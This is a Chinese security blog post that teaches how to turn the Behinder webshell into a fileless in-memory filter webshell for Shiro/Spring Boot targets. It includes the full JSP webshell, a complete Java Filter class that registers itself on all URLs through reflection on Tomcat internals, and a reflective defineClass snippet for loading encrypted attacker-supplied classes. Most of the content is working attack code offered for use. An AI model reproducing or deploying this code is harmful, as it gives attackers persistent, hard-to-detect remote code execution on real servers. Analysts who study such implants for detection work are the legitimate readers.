← 返回列表

冰蝎改造之不改动客户端=>内存马

单站 零队 发布 Sun, 26 Jul 2020 12:36:00 +0800 入库 2026-11-18T06:44:10

原创 PassFoam 2020-07-26 12:36

前言看了内存reGeorge之后,觉得很有趣,复现完之后开始想着怎么玩点骚的

做了login me again之后,觉得很有趣,复现完之后开始想着怎么玩点骚的,在我们日常使用中,与其要做一个reGeorge(reGeorge mac内网不解析dns太坑了),实际上大马可能才是正在的需求,而开源工具中还是冰蝎大家最爱用,虽然现在被各种流量检测,但是各家都有自己的免杀手段,所以这里就简单的教大家如何把东西注入shiro+spring环境中(这个环境比较有代表性

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>``<%! class U extends ClassLoader { U(ClassLoader c) { super(c); }

    `public Class g(byte[] b) {`            `return super.defineClass(b, 0, b.length);`        `}`    `}``%><%`    `if (request.getParameter("pass") != null) {`        `String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);`        `session.putValue("u", k);`        `out.print(k);`        `return;`    `}`    `Cipher c = Cipher.getInstance("AES");`    `c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));`    `new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);``%>`

代码美化之后不难发现,里面使用了Tomact中的PageContext,位于javax.servlet.jsp.PageContext,但是在Springboot中实现的是只有tomcat核心,也就是阉割版本的tomacat,恰好这个是没有的,因此这么获取成了关键

PS: 关于没有PageContext的解决方案,之前已经有了一篇文章https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ ,最大的问题是要修改客户端,对我们这样的菜鸡来说很难,而且还让自己的工具包变臃肿,本次不再改变客户端的情况,完成内存马的注入

下面基于读者已经理解了,如何写入reGeorge内存马为基础,如有疑问,请去查看 https://mp.weixin.qq.com/s/whOYVsI-AkvUJTeeDWL5dA 以及login me again wp

最后的PageContext

public class PageContext { ServletRequest request; ServletResponse response;

`public Writer getOut(){`        `return null;`    `}`

`public PageContext(ServletRequest request, ServletResponse response) {`        `this.request = request;`        `this.response = response;`    `}`

`public PageContext(){`

`}`

`public void setRequest(ServletRequest request) {`        `this.request = request;`    `}`

`public void setResponse(ServletResponse response){`        `this.response = response;`    `}`

`public HttpSession getSession() {`        `HttpServletRequest test = (HttpServletRequest) this.request;`        `return test.getSession();`    `}`

`public ServletRequest getRequest() {`        `return  this.request;`    `}`

`public ServletResponse getResponse() {`        `return this.response;`    `}`

}

我们可以尝试注入一下,这里我起了一个简单的shiro+springboot的环境

Ps:从github上直接找的环境,可能因为原生不带有commom-collection的包,所以无法打成功

发现我们成功注入了一个class,然后我天真的以为只需要像reGeorge一样,把代码复制进去即可

所以有了初始版本的Filter内存冰蝎

package reGeorg;

import javax.servlet.*;``import java.io.IOException;``import javax.crypto.Cipher;``import javax.crypto.spec.SecretKeySpec;``import javax.el.ELContext;``import javax.servlet.http.*;``import javax.servlet.jsp.JspWriter;``import javax.servlet.jsp.PageContext;``import javax.servlet.jsp.el.ExpressionEvaluator;``import javax.servlet.jsp.el.VariableResolver;``import java.util.Enumeration;``import java.util.UUID;

public class MemBehinder implements javax.servlet.Filter{ @Override public void init(FilterConfig filterConfig) throws ServletException {

`}`

`@Override`    `public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {`        `class User extends ClassLoader {`            `User(ClassLoader c) {`                `super(c);`            `}`

        `public Class getUsername(byte[] b) {`                `return super.defineClass(b, 0, b.length);`            `}`        `}`

    `HttpServletRequest request = (HttpServletRequest) servletRequest;`        `HttpServletResponse response = (HttpServletResponse) servletResponse;`        `HttpSession session = request.getSession();`        `response.setHeader("flora", "florasa!!!");`        `if (request.getParameter("pass") != null) {`            `String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);`            `session.putValue("u", k);`            `response.getWriter().print(k);`            `return;`        `}`        `try{`            `PageContext pageContext = new PageContext(servletRequest,servletResponse);`            `Cipher c = Cipher.getInstance("AES");`            `SecretKeySpec sec = new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES");`            `c.init(2, sec);`            `String uploadString = request.getReader().readLine();`            `ClassLoader loader = this.getClass().getClassLoader();`            `User user = new User(loader);`            `byte[] username = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString));`            `Class username1 = user.getUsername(username);`            `username1.newInstance().equals(pageContext);`        `}catch (Exception ignored){`            `;`        `}`        `filterChain.doFilter(request, response);`

`}`

`@Override`    `public void destroy() {`

`}`    `public boolean equals(Object obj) {`        `Object[] context = (Object[]) obj;`        `javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest) context[0];`        `org.apache.catalina.connector.Response response = (org.apache.catalina.connector.Response) context[1];`        `javax.servlet.http.HttpSession session = (javax.servlet.http.HttpSession) context[2];`

    `try {`            `dynamicAddFilter(new MemBehinder(), "Behinder", "/*", request);`        `} catch (IllegalAccessException e) {`            `e.printStackTrace();`        `}`

    `return true;`    `}`

`public static void dynamicAddFilter(javax.servlet.Filter filter, String name, String url, javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {`        `javax.servlet.ServletContext servletContext = request.getServletContext();`        `if (servletContext.getFilterRegistration(name) == null) {`            `java.lang.reflect.Field contextField = null;`            `org.apache.catalina.core.ApplicationContext applicationContext = null;`            `org.apache.catalina.core.StandardContext standardContext = null;`            `java.lang.reflect.Field stateField = null;`            `javax.servlet.FilterRegistration.Dynamic filterRegistration = null;`

        `try {`                `contextField = servletContext.getClass().getDeclaredField("context");`                `contextField.setAccessible(true);`                `applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);`                `contextField = applicationContext.getClass().getDeclaredField("context");`                `contextField.setAccessible(true);`                `standardContext = (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);`                `stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");`                `stateField.setAccessible(true);`                `stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);`                `filterRegistration = servletContext.addFilter(name, filter);`                `filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{url});`                `java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");`                `filterStartMethod.setAccessible(true);`                `filterStartMethod.invoke(standardContext, null);`                `stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);`            `} catch (Exception e) {`                `;`            `} finally {`                `stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);`            `}`        `}`    `}``}`

报错汇总如下:

1. 无法new一个新的PageContext
2. 无法调用class U中的方法

这时候回忆一下我们的流程:

1. 注入PageContext并实例化
2. 注入冰蝎并实例化

但是我们要思考new是一个怎么样的过程

1.首先去JVM 的方法区中区寻找类的class对象,如果能找到,则按照定义生成对象,找不到则转2

2.加载类定义:类加载器(classLoader)寻找该类的 .class文件,找到后对文件进行分析转换为class对象存入方法区方便以后调用。

其中jdk 的class一般是在jvm启动时用启动类加载器完成加载,用户的class则是在用到的时候再加载。

Java中ClassLoader的加载采用了双亲委托机制,采用双亲委托机制加载类的时候采用如下的几个步骤:``1.  当前ClassLoader首先从自己已经加载的类中查询是否此类已经加载,如果已经加载则直接返回原来已经加载的类。``每个类加载器都有自己的加载缓存,当一个类被加载了以后就会放入缓存,等下次加载的时候就可以直接返回了。``2.  当前classLoader的缓存中没有找到被加载的类的时候,委托父类加载器去加载,父类加载器采用同样的策略,首先查看自己的缓存,然后委托父类的父类去加载,一直到bootstrp ClassLoader.``3.  当所有的父类加载器都没有加载的时候,再由当前的类加载器加载,并将其放入它自己的缓存中,以便下次有加载请求的时候直接返回。

PS:方法区:在一个jvm实例的内部,类型信息被存储在一个称为方法区的内存逻辑区中。类型信息是由类加载器在类加载时从类文件中提取出来的。类(静态)变量也存储在方法区中

于是即使有了实例化的class,也不能使其在方法区有一席之地,但是他有没有文件,所以就无法被ClassLoader加载,也就导致了上述的问题

  1. 自定义的类加载器: 因为我们不能实例化自己的类加载器,所以我们就使用反射的方法,调用ClassLoard,不过这里也有一个坑点,就是抽象类,是不可以作为invoke()的第一个参数,所以要使用一个他的继承类作为替代品

    Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod( "defineClass", byte[].class, int.class, int.class); method.setAccessible(true); byte[] evilclass_byte = c.doFinal(evil_bytes); Class evilclass = (Class) method.invoke(xxxxx.getClassLoader(), evilclass_byte,0, evilclass_byte.length);

2.PageContext: 由于我们只有一个实例化的class,我的方案就是服用他,将他作为一个属性,注入到冰蝎马的实例过程中,即设置一个含参的构造方法

public MemBehinder2(PageContext pageContext){ this.pageContext = pageContext; }

  1. 冰蝎出现密钥交互,并不代表成功了,原因在于密钥交互的回显用的并不是PageContext,不能作为我们注入成功的依据
  2. 学会研究报错,报错会告诉我们哪里出了问题
  3. FB师傅tql
原文链接:https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&mid=2247484318&idx=1&sn=ece9e52218be0ea84ef166c3bfd20f23